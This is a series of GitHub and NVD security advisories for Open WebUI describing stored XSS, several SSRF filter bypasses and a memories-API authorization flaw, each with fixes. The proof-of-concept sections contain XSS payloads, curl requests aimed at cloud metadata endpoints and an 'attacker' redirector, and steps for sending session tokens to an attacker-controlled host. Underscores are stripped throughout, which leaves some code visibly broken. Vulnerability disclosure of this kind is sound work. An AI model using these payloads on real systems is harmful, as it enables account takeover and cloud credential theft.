A malicious .md file containing the follwowing contents can be used to trigger the bug: mermaid flowchart LR A[click me] click A href "javascript:alert(document.domain)" "x" Steps to reproduce: 1- Create a new chat 2- Enable Code Interpreter and browse and upload the file with .md extension. <img width="331" height="258" alt="image" src="https://github.com/user-attachments/assets/bce2b754-56d1-4da1-90a9-22bcb93269f2" /> 3- Clicking on the file, and clicking click me should pop an alert <img width="1103" height="485" alt="image" src="https://github.com/user-attachments/assets/18754486-799b-434e-a2fc-dd7c09956a29" />

Remediation

Since mermaid has DOMPurify as a built-in, it is recommended to use the strict mode instead of loose.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary Any authenticated user can store a chat message whose math block makes KaTeX fail with a stack overflow instead of a parse error. When that happens the renderer falls back to inserting the original math source into the page as HTML rather than as text, so script in the message runs in the browser of whoever views it. Every surface that renders messages is affected, including shared chats and channels, and the missing control is output escaping on the error path.

Preconditions Default configuration, no flags involved. The attacker needs a normal user account and a way to get the target to open the content: a shared chat link, a channel the target reads, or any other message surface. No admin rights and no non-default settings are required on either side.

Impact Script executes in the viewer's browser on the Open WebUI origin, which puts the session token in localStorage within reach and therefore allows taking over the viewing account. If the viewer is an administrator, that is administrator access to the instance. Exploitation needs the target to open the content, but nothing beyond that: no interaction with the message itself. Server-side data and availability are unaffected; the impact is entirely in the viewer's browser session.

Fix Fixed in 0.11.0 by commit bc600d3f0 (PR #26718). The error path now HTML-escapes the math source before it reaches the DOM, so a failed render displays the formula as text instead of as markup. Upgrading fully resolves the issue; no configuration change is needed.

Root cause Affected component: src/lib/components/chat/Messages/Markdown/KatexRenderer.svelte, the reactive block that renders math and its catch branch. Affected setup: releases 0.10.0 through 0.10.2, which are the versions carrying that fallback.

KaTeX was called with throwOnError: false, which suppresses parse errors but not a RangeError from deeply nested input. The surrounding catch treated any failure as "show the original formula" and assigned the untouched source to the value that the template inserts with {@html}. Because the Markdown math tokenizer captures everything between the delimiters verbatim, including angle brackets and complete tags, the attacker controls that string exactly.

Proof of concept Send a chat message (or store one via any endpoint that writes message content) consisting of a single inline math block: an opening $, 100000 { characters, an <img src=x onerror=alert(document.domain)> tag, 100000 } characters, and a closing $.

python3 -c 'N=100000; print("$"+"{"N+"<img src=x onerror=alert(document.domain)>"+"}"N+"$")'

Open the chat as any user who can view it. KaTeX overflows the stack, the fallback inserts the raw source, and the onerror handler fires. Replacing alert() with a request carrying localStorage.token sends the viewer's session token to an attacker-controlled host; this was demonstrated against a shared chat opened by an administrator account.

Credits @maxntv — reported the unescaped KaTeX error fallback and demonstrated session-token theft through a shared chat.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary Any authenticated user with access to a shared terminal server could get script of their choosing to run in the Open WebUI origin itself. The in-app port preview rendered the content of a previewed port in an iframe whose sandbox always granted allow-same-origin alongside allow-scripts, and that content is served from a path on the application's own origin, so the sandbox provided no isolation at all. Script served on a previewed port could read the victim's session token and take over the account.

Preconditions - At least one terminal server configured by an admin (TERMINALSERVERCONNECTIONS, empty by default) and reachable by both the attacker and the victim. Deployments with no terminal server configured are not affected. - The attacker needs a normal authenticated account with access to that terminal connection, no admin rights, plus the ability to start a process listening on a port there. - Personal terminals a user configures for themselves are not affected. Those carry an external URL, so the previewed document is cross-origin and the sandbox held. - The victim has to open the port list and click the attacker's port. - TERMINALPROXYHEADERS unset and no CONTENTSECURITYPOLICY set, which are the defaults. An operator who had already set a restrictive Content-Security-Policy through either was not exposed, since those headers apply to the proxied response. - The iframeSandboxAllowSameOrigin user setting is off by default, but the affected branch ignored it entirely.

Impact The previewed page runs in the application origin, so it can reach the parent window, read the session token out of localStorage and exfiltrate it, which is full account takeover of the victim. If the victim is an admin, or any user holding workspace.functions, that takeover extends to server-side code execution through Functions. Serving the page costs the attacker nothing beyond the terminal access they already hold, so the only real barrier is getting the victim to open that port. Instances with no terminal server configured were never affected, and neither were personal terminals pointed at an external URL.

Fix Fixed in 0.11.1 by 54d7a2237. The port preview now gates allow-same-origin behind a terminalPreviewAllowSameOrigin user setting that is off by default, so the preview loads at an opaque origin and cannot reach the parent context. Upgrading is sufficient and no configuration change is required. Previews of pages that need same-origin access still work if a user turns that setting on, and doing so re-enables the behaviour described here for that user.

Root cause - src/lib/components/chat/FileNav/PortPreview.svelte, the preview iframe, reached by clicking a port in the file navigator's port list. - Present from 0.8.11, the first release containing the component, through 0.11.0.

Every other iframe in the application had already been moved to an opt-in same-origin setting. The port preview kept a static sandbox string with allow-same-origin baked into it, and it was missed when the equivalent problem was fixed in the file preview for 0.11.0. Because the terminal proxy is mounted under the application's own origin and forwards the upstream response and its content type without adding a Content-Security-Policy of its own unless the operator configured one, and no global CSP is set, the sandbox was the only isolation boundary left, and it was granting precisely the permission that dissolved it.

Proof of concept On a terminal server the victim can also reach, serve an HTML page containing a script that reads window.parent.localStorage.token and sends it to a host the attacker controls. The victim opens the file navigator, switches to the port list and clicks that port. The preview opens, the script executes at the application origin, and the token is exfiltrated.

Credits Reported by @manus-use (researcher zx / Jace).

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary A Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.

Details The vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/openwebui/routers/retrieval.py at lines 1758-1767.

Vulnerable code: @router.post("/process/web") def processweb( request: Request, formdata: ProcessUrlForm, user=Depends(getverifieduser) ): try: collectionname = formdata.collectionname if not collectionname: collectionname = calculatesha256string(formdata.url)[:63]

content, docs = getcontentfromurl(request, formdata.url) # ← SSRF vulnerability

The formdata.url parameter is passed directly to getcontentfromurl() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:

Call chain: 1. retrieval.py:1767 → getcontentfromurl(request, formdata.url) 2. retrieval/utils.py:77 → getloader(request, url) 3. retrieval/utils.py:62 → getwebloader(url, ...) or YoutubeLoader(url, ...) 4. Both loaders fetch the user-supplied URL without validation

No validation is performed for: - Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) - Localhost addresses (127.0.0.0/8) - Cloud metadata endpoints (169.254.169.254, fd00:ec2::254) - Protocol restrictions (file://, gopher://, etc.) - Domain allowlisting

PoC Prerequisites: Valid user account (any role)

Step 1 - Authenticate: TOKEN=$(curl -s "http://localhost:3000/api/v1/auths/signin" \ -H 'Content-Type: application/json' \ -d '{"email":"user@example.com","password":"password"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

Step 2 - Basic SSRF Test (external URL): curl -s "http://localhost:3000/api/v1/retrieval/process/web" \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"url":"http://example.com"}'

Result: Server fetches example.com and returns its content, proving the vulnerability.

{ "status": true, "file": { "data": { "content": "Example Domain This domain is for use in documentation..." } } }

Step 3 - Advanced Attack (AWS metadata): curl -s "http://localhost:3000/api/v1/retrieval/process/web" \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Result: Server exposes cloud credentials if running on AWS/GCP/Azure.

Other attack examples: - Internal network: {"url":"http://192.168.1.1"} - Localhost services: {"url":"http://localhost:5432"} - Internal APIs: {"url":"http://internal-api.local"}

Impact Who is affected: All authenticated users (no special permissions required)

Attack capabilities:

1. Cloud Environment Compromise - Steal AWS/GCP/Azure credentials via metadata endpoints - Result: Full cloud account takeover 2. Internal Network Access - Bypass firewalls to access internal services (databases, admin panels, APIs) - Port scan and map internal infrastructure - Result: Complete network visibility 3. Data Exfiltration - Read internal documentation, configurations, secrets - Access Kubernetes API servers - Result: Credential theft, API key exposure

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validateurl()

Summary

validateurl() in backend/openwebui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.

The vulnerability has existed since the validateurl() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validateurl(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.

Affected code

backend/openwebui/retrieval/web/utils.py validateurl():

python if validators.ipv6(ip, private=True): # ValidationError is falsy — never raises raise ValueError(...)

Proof of concept

python import validators print(validators.ipv6("::1", private=True)) ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})

End-to-end exploit:

python import requests, ipaddress

OPENWEBUIURL = "https://target" TOKEN = "..." TARGETIPV4 = "169.254.169.254" # AWS IMDSv1 mapped = "::ffff:" + TARGETIPV4

requests.post(f"{OPENWEBUIURL}/api/v1/retrieval/process/web", headers={"Authorization": f"Bearer {TOKEN}"}, json={"collectionname": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})

Impact

Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.

Recommended fix

Replace the validators library calls with stdlib ipaddress:

python import ipaddress addr = ipaddress.ipaddress(ip) if addr.isprivate or addr.isloopback or addr.islinklocal or addr.ismulticast or addr.isreserved or addr.isunspecified: raise ValueError(...) also unwrap IPv4-mapped IPv6 and re-check: if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4mapped: addrv4 = addr.ipv4mapped if addrv4.isprivate or addrv4.isloopback or ...: raise ValueError(...) plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).

Related but separate advisories

- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6 - DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r - urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx - Playwright loader redirect: GHSA-jrfp-m64g-pcwv - Missing validateurl() call in imagegenerations: GHSA-h7cc-wwjp-5xqh

Credits

- Dor Konis (dkonis, GE Vernova) — first to identify the validators.ipv6(private=True) silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report). - wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.

Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validateurl() once resolves all of them.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary In the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.

Details In the current project, URL validation is performed using the function validateurl.

<img width="1323" height="1145" alt="QQ20260322-202854-22-1" src="https://github.com/user-attachments/assets/896d19f2-c7c3-499a-9052-12aea756ac47" />

The current checking logic uses urlparse to parse the hostname part of the URL for verification.

<img width="1122" height="429" alt="QQ20260322-203014-22-2" src="https://github.com/user-attachments/assets/653520e9-e311-4a5e-8345-a2446e217d88" />

However, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validateurl is used first for URL validation, and then requests.get is used to send the request.

<img width="1269" height="915" alt="QQ20260322-203122-22-3" src="https://github.com/user-attachments/assets/f200aa06-9190-425e-9659-1ecaf95f806b" />

The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

- urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public) - requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the open-webui code. from future import annotations

import ipaddress import logging import os import socket import urllib.parse import urllib.request from typing import Optional, Sequence, Union import requests

log = logging.getLogger(name)

Same text as openwebui.constants.ERRORMESSAGES.INVALIDURL INVALIDURL = ( "Oops! The URL you provided is invalid. Please double-check and try again." )

Same semantics as openwebui.config (ENABLERAGLOCALWEBFETCH / WEBFETCHFILTERLIST) ENABLERAGLOCALWEBFETCH = ( os.getenv("ENABLERAGLOCALWEBFETCH", "False").lower() == "true" )

DEFAULTWEBFETCHFILTERLIST = [ "!169.254.169.254", "!fd00:ec2::254", "!metadata.google.internal", "!metadata.azure.com", "!100.100.100.200", ] webfetchfilterenv = os.getenv("WEBFETCHFILTERLIST", "") if webfetchfilterenv == "": webfetchfilterenvlist: list[str] = [] else: webfetchfilterenvlist = [ item.strip() for item in webfetchfilterenv.split(",") if item.strip() ] WEBFETCHFILTERLIST = list( set(DEFAULTWEBFETCHFILTERLIST + webfetchfilterenvlist) )

def getallowblocklists(filterlist): allowlist = [] blocklist = []

if filterlist: for d in filterlist: if d.startswith("!"): blocklist.append(d[1:].strip()) else: allowlist.append(d.strip())

return allowlist, blocklist

def isstringallowed( string: Union[str, Sequence[str]], filterlist: Optional[list[str]] = None ) -> bool: if not filterlist: return True

allowlist, blocklist = getallowblocklists(filterlist) strings = [string] if isinstance(string, str) else list(string)

if allowlist: if not any(s.endswith(allowed) for s in strings for allowed in allowlist): return False

if any(s.endswith(blocked) for s in strings for blocked in blocklist): return False

return True

def resolvehostname(hostname): # Get address information addrinfo = socket.getaddrinfo(hostname, None)

# Extract IP addresses from address information ipv4addresses = [info[4][0] for info in addrinfo if info[0] == socket.AFINET] ipv6addresses = [info[4][0] for info in addrinfo if info[0] == socket.AFINET6]

return ipv4addresses, ipv6addresses

def validatorsurlaccept(url: str) -> bool: """ Stand-in for python-validators url(): True if string looks like http(s) URL with host. """ try: u = url.strip() if not u: return False p = urllib.parse.urlparse(u) if p.scheme not in ("http", "https"): return False if not p.netloc: return False return True except Exception: return False

def ipv4private(ip: str) -> bool: try: a = ipaddress.ipaddress(ip) return a.version == 4 and a.isprivate except ValueError: return False

def ipv6private(ip: str) -> bool: try: a = ipaddress.ipaddress(ip) return a.version == 6 and a.isprivate except ValueError: return False

def validateurl(url: Union[str, Sequence[str]]): if isinstance(url, str): if not validatorsurlaccept(url): raise ValueError(INVALIDURL)

parsedurl = urllib.parse.urlparse(url)

# Protocol validation - only allow http/https if parsedurl.scheme not in ["http", "https"]: log.warning( f"Blocked non-HTTP(S) protocol: {parsedurl.scheme} in URL: {url}" ) raise ValueError(INVALIDURL)

# Blocklist check using unified filtering logic if WEBFETCHFILTERLIST: if not isstringallowed(url, WEBFETCHFILTERLIST): log.warning(f"URL blocked by filter list: {url}") raise ValueError(INVALIDURL)

if not ENABLERAGLOCALWEBFETCH: # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses parsedurl = urllib.parse.urlparse(url) # Get IPv4 and IPv6 addresses ipv4addresses, ipv6addresses = resolvehostname(parsedurl.hostname) # Check if any of the resolved addresses are private # This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader for ip in ipv4addresses: if ipv4private(ip): raise ValueError(INVALIDURL) for ip in ipv6addresses: if ipv6private(ip): raise ValueError(INVALIDURL) return True elif isinstance(url, Sequence): return all(validateurl(u) for u in url) else: return False

if name == "main": logging.basicConfig(level=logging.INFO) # url = "https://127.0.0.1:6666\@1.1.1.1" url = "https://127.0.0.1:6666" validateurl(url) response = requests.get(url) print(response.text)

As you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.

<img width="1428" height="273" alt="QQ20260322-203503-22-4" src="https://github.com/user-attachments/assets/cf29b639-d4fe-409e-a516-2424d608739f" />

However, for https://127.0.0.1:6666\@1.1.1.1/, the hostname extracted by validateurl is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.

<img width="2255" height="786" alt="QQ20260322-203750-22-5" src="https://github.com/user-attachments/assets/050bc6a4-760f-4d7a-8b52-056778097cd1" />

PoC http://127.0.0.1:6666\@baidu.com

Impact SSRF

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints

Summary

The validateurl() function in backend/openwebui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an imageurl content part, and any other route that calls these helpers.

Affected code paths

The bypass exists across multiple call sites; each independently follows redirects without re-validation.

Path 1 — sync scrape via SafeWebBaseLoader

backend/openwebui/retrieval/web/utils.py — SafeWebBaseLoader inherits from langchaincommunity.documentloaders.WebBaseLoader. The parent's scrape() calls self.session.get(url, self.requestskwargs). requestskwargs only sets timeout; allowredirects=False is not passed, so requests.Session.get() follows redirects with the default allowredirects=True. validateurl() is invoked once on the original URL only.

Path 2 — async fetch (aiohttp)

backend/openwebui/retrieval/web/utils.py — fetch() previously inherited the aiohttp default allowredirects=True. As of HEAD this path is fixed (allowredirects=False). Listed for completeness.

Path 3 — getcontentfromurl (sync requests.get)

backend/openwebui/retrieval/utils.py — response = requests.get(url, stream=True, timeout=30). No allowredirects=False. Reached via /api/v1/retrieval/process/web (file ingestion) and other routers that resolve external URLs.

Path 4 — loadurlimage (image edit)

backend/openwebui/routers/images.py — image-URL fetching helper used by the image-edit endpoint. Same pattern: validateurl() checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via /api/v1/images/edit.

Path 5 — getimagebase64fromurl (chat-completion image inlining)

backend/openwebui/utils/files.py — getimagebase64fromurl() is invoked from converturlimagestobase64() in backend/openwebui/utils/middleware.py on every /api/chat/completions request whose message content includes an imageurl part. The shared aiohttp session pool (backend/openwebui/utils/sessionpool.py) does not override the aiohttp default allowredirects=True, and the call site itself does not pass allowredirects=False. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message.

Proof of concept

Authenticated low-privilege user; default config, no admin or special permissions required.

bash curl -X POST https://<target>/api/v1/retrieval/process/web \ -H "Authorization: Bearer <anyusertoken>" \ -H "Content-Type: application/json" \ -d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&statuscode=302"}'

Response body contains the internal /api/config payload in file.data.content. Replace the redirect target with http://169.254.169.254/latest/meta-data/ for cloud metadata, or any internal hostname reachable from the server.

For the chat-completion path (Path 5), the same redirect is followed when an imageurl content part points to an attacker-controlled redirector:

bash curl -X POST https://<target>/api/chat/completions \ -H "Authorization: Bearer <anyusertoken>" \ -H "Content-Type: application/json" \ -d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"imageurl","imageurl":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}'

Impact

Any authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.

Recommended fix

For every call site that follows redirects, set allowredirects=False on the underlying HTTP client and add a per-hop validation loop using validateurl() on each Location: header.

Credits

Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.

- tenbbughunters — first to identify SafeWebBaseLoader sync scrape (Path 1) - YLChen-007 — first to identify loadurlimage (Path 4) - tempcollab — first to identify aiohttp fetch (Path 2) - sneaXOR — first to identify getcontentfromurl (Path 3) - nayakchinmohan — first to identify getimagebase64fromurl in chat-completion middleware (Path 5)

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

backend/openwebui/utils/oauth.py::processpictureurl (v0.9.5, lines 1435-1470) calls validateurl(pictureurl) on the initial URL only, then invokes aiohttp.ClientSession.get(pictureurl, ...) without allowredirects=False. aiohttp's default is allowredirects=True, maxredirects=10; the function does not pass the project's AIOHTTPCLIENTALLOWREDIRECTS env constant either. An attacker with a valid OAuth IdP identity can therefore submit a public URL that 302-redirects to an internal address and read the internal response body via the attacker's own profileimageurl field.

This is the same redirect-bypass class as CVE-2026-45401 (GHSA-rh5x-h6pp-cjj6), on a 6th call site that the v0.9.5 patch missed. CVE-2026-45401's advisory body enumerates exactly five affected paths — SafeWebBaseLoader.scrape, fetch, getcontentfromurl, loadurlimage, getimagebase64fromurl — none in utils/oauth.py.

Vulnerable code (v0.9.5)

backend/openwebui/utils/oauth.py, lines 1435-1470:

python async def processpictureurl(self, pictureurl: str, accesstoken: str = None) -> str: if not pictureurl: return '/user.png' try: validateurl(pictureurl) # initial URL only

getkwargs = {} if accesstoken: getkwargs['headers'] = {'Authorization': f'Bearer {accesstoken}'} async with aiohttp.ClientSession(trustenv=True) as session: async with session.get(pictureurl, getkwargs, ssl=AIOHTTPCLIENTSESSIONSSL) as resp: # ^^^^^^^^^^^ no allowredirects=False if resp.ok: picture = await resp.read() base64encodedpicture = base64.b64encode(picture).decode('utf-8') guessedmimetype = mimetypes.guesstype(pictureurl)[0] if guessedmimetype is None: guessedmimetype = 'image/jpeg' return f'data:{guessedmimetype};base64,{base64encodedpicture}' ...

The function is invoked at oauth.py:1556 (new-user OAuth signup) and oauth.py:1536 (existing-user picture update on login). Neither call site re-validates after redirect-following.

backend/openwebui/retrieval/web/utils.py (v0.9.5) imports the env constant AIOHTTPCLIENTALLOWREDIRECTS at line 51 and uses it on the five paths patched by CVE-2026-45401. utils/oauth.py does not import or reference it.

Exploitation

Preconditions: - ENABLEOAUTHSIGNUP=true or OAUTHUPDATEPICTUREONLOGIN=true (common in production OAuth-IdP deployments) - Attacker has a valid identity on the configured OAuth IdP (Google, Microsoft, GitHub, or any generic OIDC provider)

Steps:

1. Attacker hosts a redirect endpoint at http://attacker.example/r on a public IP. validateurl("http://attacker.example/r") returns True (isglobal=True for public IPs). 2. Attacker sets their IdP picture claim to http://attacker.example/r. 3. Attacker signs in to open-webui via OAuth. open-webui invokes processpictureurl("http://attacker.example/r", ...). 4. validateurl accepts the public URL. session.get("http://attacker.example/r") is invoked. 5. attacker.example responds HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:11434/api/tags. (Or http://169.254.169.254/latest/meta-data/iam/security-credentials/, RFC1918 internal services, etc.) 6. aiohttp follows the redirect server-side. No re-validation. 7. The internal response body is read into picture, base64-encoded, and stored as profileimageurl = "data:image/jpeg;base64,..." on the attacker's account. 8. Attacker reads back via GET /api/v1/auths/. Decode the base64 payload to get the full internal response body.

Impact

Full-read SSRF, identical read-back primitive to CVE-2026-45338:

- Cloud metadata services (AWS IMDSv1 at 169.254.169.254, GCP metadata.google.internal, Azure IMDS) → IAM credentials, managed-identity tokens - Localhost-bound services (Ollama at :11434, Redis, Elasticsearch, internal Postgres exporters) - RFC1918 internal infrastructure not exposed to the internet

Distinction from prior CVEs

| Prior CVE | This finding | Distinguishing fact | |---|---|---| | CVE-2026-45338 (GHSA-24c9) | processpictureurl had no validateurl() call at all | Fixed in v0.9.0 by adding the call. Ours is the call being insufficient because it doesn't loop over redirect targets. Different mechanism, different fix. | | CVE-2026-45400 (GHSA-8w7q) | validateurl() had urlparse-vs-requests parser disagreement on \@ chars | Fixed in v0.9.5 by char-blocklist. Ours is post-validation redirect-following — orthogonal mechanism. | | CVE-2026-45401 (GHSA-rh5x) | Five paths in retrieval, routers/images, utils/files, utils/middleware | Parent class. Same CWE-918 redirect-bypass mechanism. utils/oauth.py::processpictureurl is not among the five paths in the parent advisory's "Affected code paths" section. Same class, missed sink. Direct sibling. |

Suggested fix

python async with session.get( pictureurl, getkwargs, ssl=AIOHTTPCLIENTSESSIONSSL, allowredirects=AIOHTTPCLIENTALLOWREDIRECTS, # add ) as resp:

Or, if redirects must remain enabled by default, wrap in a manual-follow loop that re-invokes validateurl() on each Location header. This mirrors the fix shape applied to the five paths in CVE-2026-45401.

Affected versions

Vulnerable: <= 0.9.5 Fix: 0.9.6

References

- CVE-2026-45401 / GHSA-rh5x-h6pp-cjj6 (parent cluster, redirect-bypass on 5 paths) - CVE-2026-45338 / GHSA-24c9-2m8q-qhmh (original processpictureurl SSRF, patched v0.9.0) - CVE-2026-45400 / GHSA-8w7q-q5jp-jvgx (validateurl parser-disagreement bypass, patched v0.9.5) - open-webui issue #24560 (corroborates that the v0.9.5 redirect-fix was applied piecemeal across call sites)

Proof of Concept

End-to-end PoC executed against ghcr.io/open-webui/open-webui:v0.9.5 in Docker compose. Three services: attacker (OIDC IdP + 302-redirect endpoint on evil.example.com:9001/redirect), canary (internal target on internal-target.local:9002/sentinel), open-webui v0.9.5.

Fresh-CSPRNG sentinel generated after OAuth state-establishing call (per Gate 5.5 oracle protocol): SSRF-POC-5580111b2a0d7d0c8324bfa92a0d9d09.

Result: - profileimageurl field after OAuth login: data:image/jpeg;base64,U1NSRi1QT0MtNTU4MDExMWIyYTBkN2QwYzgzMjRiZmE5MmEwZDlkMDk= - Base64 decode: SSRF-POC-5580111b2a0d7d0c8324bfa92a0d9d09 (byte-for-byte sentinel match) - Canary log: !!! SSRF HIT - sentinel served

Chain confirmed: OAuth login → IdP returns picture claim evil.example.com:9001/redirect → validateurl() accepts FQDN → aiohttp.ClientSession.get(...) follows 302 to internal-target.local:9002/sentinel server-side without re-validation → response body base64-encoded into attacker's profileimageurl → readable via GET /api/v1/auths/.

PoC artifacts (compose, attacker server, canary, run/verify scripts, full transcript) available on request.

Reporter

Matteo Panzeri — GitHub: matte1782, contact: matteo1782@gmail.com. Requesting CVE credit as Matteo Panzeri.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
Input Validation
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.

First published (updated )
Severity
8.4
XSS
AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H

A stored cross-site scripting (XSS) vulnerability exists in open-webui/open-webui version 0.3.8. The vulnerability is present in the /api/v1/models/add endpoint, where the model description field is improperly sanitized before being rendered in chat. This allows an attacker to inject malicious scripts that can be executed by any user, including administrators, potentially leading to arbitrary code execution.

1 / 2
Source: NVD
First published (updated )
Severity
8.3
XEE
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories.

Details

Using a newly created non-admin user with no existing memories, it is possible to view existing memories via POST /api/v1/memories/query. See below under the PoC section, where a call to GET /api/v1/memories/ returns [] (as expected) but a call to POST /api/v1/memories/query reveals memories created by other users.

Similarly, even if a non-admin user cannot modify another user's memory data via POST /api/v1/memories/{memoryid}/update, the endpoint's response improperly leaks the content of that memory if a valid memoryid is known.

The DELETE /api/v1/memories/{memoryid} can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the POST /api/v1/memories/{memoryid}/update endpoint again.

PoC 1

Example of a user with no memories able to query an existing memory from another user

GET /api/v1/memories/ HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 0

---

HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:19:58 GMT server: uvicorn content-length: 2 content-type: application/json x-process-time: 0

[]

POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive

{ "content": "" }

---

HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:22:01 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0 access-control-allow-origin: access-control-allow-credentials: true

{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"createdat":1752784616,"updatedat":1752864797}]],"distances":[[0.6216812525921495]]}

PoC 2

Example showing excess output about a memory a user has no access to modify

